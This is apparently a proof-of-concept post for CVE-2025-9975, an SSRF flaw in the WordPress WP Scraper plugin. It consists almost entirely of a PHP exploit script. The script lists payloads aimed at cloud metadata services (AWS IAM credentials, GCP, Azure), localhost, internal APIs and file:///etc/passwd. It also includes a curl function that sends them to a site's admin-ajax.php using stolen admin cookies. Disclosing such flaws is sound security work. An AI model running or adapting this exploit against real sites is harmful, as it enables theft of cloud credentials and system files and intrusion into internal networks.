CVE-2025-9975：WordPress WP Scraper插件SSRF漏洞

<?php /** * CVE-2025-9975 - WP Scraper SSRF PoC * * This PoC demonstrates how an authenticated administrator * can exploit the wp_scraper_extract_content function to perform SSRF attacks. * * Usage: * 1. Obtain WordPress admin credentials * 2. Login to wp-admin * 3. Navigate to WP Scraper settings * 4. Set the target URL to the malicious payload * 5. Trigger content extraction */ // Example malicious URL payloads for SSRF exploitation: $payloads = array( // AWS EC2 metadata service - retrieve IAM credentials 'http://169.254.169.254/latest/meta-data/iam/security-credentials/', // AWS EC2 metadata - retrieve instance info 'http://169.254.169.254/latest/meta-data/', // Google Cloud metadata service 'http://169.254.169.254/computeMetadata/v1/', // Azure metadata service 'http://169.254.169.254/metadata/instance?api-version=2021-02-01', // Internal network scan 'http://127.0.0.1:8080/admin', // Local file read (if file:// protocol is allowed) 'file:///etc/passwd', // Internal service access 'http://internal-service.local/api/v1/users' ); // Simulated exploitation via WordPress admin-ajax.php function exploit_ssrf($target_url, $cookie_file) { $ch = curl_init(); // WordPress admin-ajax endpoint $url = 'http://target-wordpress-site.com/wp-admin/admin-ajax.php'; $post_data = array( 'action' => 'wp_scraper_extract', 'url' => $target_url ); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data)); curl_setopt($ch, CURLOPT_COOKIEFILE, $cookie_file); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $response = curl_exec($ch); curl_close($ch); return $response; } // Example usage: // $result = exploit_ssrf($payloads[0], 'admin_cookies.txt'); // echo $result; ?>